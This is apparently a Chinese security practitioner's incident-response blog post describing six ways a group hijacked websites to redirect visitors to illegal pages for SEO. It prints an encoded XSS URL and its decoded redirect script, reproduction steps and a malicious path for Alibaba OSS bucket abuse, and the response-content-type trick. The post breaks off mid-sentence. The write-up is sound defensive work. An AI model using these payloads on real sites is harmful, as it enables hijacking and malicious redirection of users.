前言

这篇文章去年就想写，但因为一些现实原因搁置许久，以至于后来多次蠢蠢欲动的灵光乍现也被画地为牢。现在写出来是因为近期又遇到过很多次，手法均不同，我认为可以梳理一下发出来，让大家有所警惕，遇到后也可以快速解决。

先来说一下这一股很活跃的不法分子，我第一次遇到他们是在 2024 年，不知他们在 24 年之前是否活跃过。但当我遇到他们、和他们交手的时候，网络上并没有看到有对他们的相关报道。先说他们都做了什么坏事：

通过不同的手段，利用不同产品的漏洞，很高明高超地控制国内极多大型网站的部分资产，用来引导用户跳转到非法页面，来为 HC 做 SEO。虽然我只是接触了不同的 7 家单位被控情况，但可以感觉到他们是一伙人。

现在来看一下他们的手法：

1、劫持网站统计 JS

2024 年 6 月某单位发现多位用户反馈网站的某些页面会跳转到非法页面，但在单位工程师持续观察和复现的过程中，每次复现都极其困难。

工程师排查了：

网站内容文件是否被篡改
引用的外部资源
服务器过往流量
漏洞扫描与渗透测试
甚至排查了运营商流量层面

但始终没有找到原因。

问题持续了半年都没解决。朋友找到我，看我能否提供新的思路。我看了一下引用的 JS，建议先把网站统计的 JS 下掉。观察了一段时间后，随后不会再出现跳转的情况。

因涉及相关企业，此处不放具体的网站统计。大家可自行搜索，可直接出结果，甚至还有论文分析。

这个方法极其难复现：同一地区、同一出口 IP、同一时间段不可能复现两次。HC 真是无所不用其极。

2、劫持路由

2025 年 5 月，某大型企业发现官网会跳转到非法页面，但被通报的恶意地址文件在服务器中并没有找到。

应急过程中发现：在域名后加 /am，后面加任意字符或者 URL，都会跳转到非法页面。

系统是 WP 部署，但没有找到劫持路由的代码。最后暂时通过 Nginx 添加规则禁止 /am 跳转。

3、利用 XSS 漏洞

2024 年 12 月，某单位收到通报：搜索页面存在两个恶意地址，会跳转到非法页面。初次复现时并没有复现，只会跳转到官网。

经过分析发现：恶意地址通过拼接参数引入外部 JS，并根据 UA 判断是否跳转。

示例 URL（节选）：

fQc48WQ9bgiyvbczcpfgiusqct.php?q=%27%3Blocation.href%3Datob%60amF2YXNjcmlwdDpkb2N1bWVudFtgd3JpdGVgXShhdG9iKGBQSE5qY21sd2RDQnpjbU05THk5MWNHeHZZV1JpYVM1aGNXOWplREJ2WXk1amJpOTRNejQ4TDNOamNtbHdkRDQ9YCkpOw==%60%3b%27&id=29191#1734969940687

q 参数解码后：

';location.href=atobamF2YXNjcmlwdDpkb2N1bWVudFtgd3JpdGVgXShhdG9iKGBQSE5qY21sd2RDQnpjbU05THk5MWNHeHZZV1JpYVM1aGNXOWplREJ2WXk1amJpOTRNejQ4TDNOamNtbHdkRDQ9YCkpOw==';

继续 base64 解码：

javascript:documentwrite;

再解码得到其核心内容：

var ua = navigator.userAgent.toLowerCase();
if (/micromessenger/.test(ua)) {
        loadhtml("//xxxx.cn/article/article/show1?id=" + getQueryParam("id") );
}

恶意 HTML 地址示例：

https://xxx.cn/article/article/show1?id=29191

本质问题：
未过滤用户输入 → 可注入外部 JS → 条件跳转。

2025 年 12 月的新情况：利用 XSS 做 SEO

我们在流量监测中发现某恶意 IP 段对资产进行 SQL 注入攻击。

但复测发现：

实际上攻击者利用的是 XSS，让页面显示他们的内容，从而让搜索引擎误以为是“官方背书”。

从 Referer 中也找到了一些引流网址。

4、利用配置不当的 OSS 存储桶上传恶意文件

2025 年 6 月，某单位收到通告，某网站 URL 存在恶意链接。排查发现阿里云 OSS 存储桶中有攻击者在 2025-05-17 07:01:23 上传的文件。

文件表面是 JPEG 图片，但内部隐藏 JS。浏览器打开“图片”时会自动执行恶意逻辑，例如：

自动跳转
隐藏 iframe
加密/解密恶意代码
根据 UA 展示不同页面

流程极其丝滑，几乎无感知。

攻击者还会多重跳转、随机参数、利用不同统计平台，构成完整的“广告/返佣灰产链”。

由于上传时间超过 7 天，OSS 日志为空，但通过 CloudLens for OSS（需提前开启）查到攻击者是通过 PUT 上传文件。

修复建议：关闭 PutBucketPolicy 权限。

5、利用 OSS 机制与配置不当

2025 年 9 月，某单位收到反馈：某域名在修改 QQ UA 后会跳转。

排查发现又是阿里云OSS，如果有以下情况则会受到影响：

DNS 解析到了 OSS
但 OSS 并未绑定该域名

导致请求被识别为 path-style bucket 访问：

https://域名/xxx/yyy → xxx 被当成 bucket，yyy 被当成对象

攻击者可构造恶意路径实现跳转。

复现步骤：

1、测试域名：test.xxxx.com

在DNS解析控制台将test.xxxx.com解析到存储桶：

xxxx.oss-cn-beijing.aliyuncs.com：

2、在存储桶域名管理处不绑定域名：

3、此时访问以下链接，即可复现:

http://test.xxxx.com/vcg-community-design/dcdd8a181acb44a5935d1c6993e76d7e_d.html?d=DxsAHxlTTkIEGxMBRA4PQwgJARYBRwIDSBceDhldUAhIXAEMAyICXjUdW15dXFleU1tBVlxcWF9JBwACBg%3D%3D

4、如果此时在域名管理处绑定域名:

便无法复现：

这个案例不得不说，这伙人是把各种机制玩的很6啊。

6、利用 OSS response-content-type 机制

2025年10月，某单位收到网友反馈，其所属域名疑似被劫持，会跳转到非法页面，我一看，得了，又是阿里云存储桶，但这次是私有云部署的OSS存储桶，经过排查URL，发现攻击者上传含恶意 JS 的图片，并在访问 URL 后拼：

?response-content-type=text/html

攻击者先通过正常渠道上传包含恶意JS的图片：

但本身应该是图片，为什么会被当做html解析呢，原因在于攻击者在URL后加了response-content-type=text/html，这个我看近期有公众号说这个是存储桶解析漏洞，但实际上不是，经过和阿里云客服联系，这个是阿里云官方允许的，只能说你配置不当的话就会产生这种现象，正常情况下，OSS只会将图片作为展示或者下载返回给用户，但此处被浏览器当做html解析，加载了恶意JS，经过分析，原因为私有云允许匿名设置响应头文件类型，在请求的图片后拼接?response-content-type=text/html，浏览器则会将图片作为html解析，以下为对比图，
不拼接，则会显示正常图片：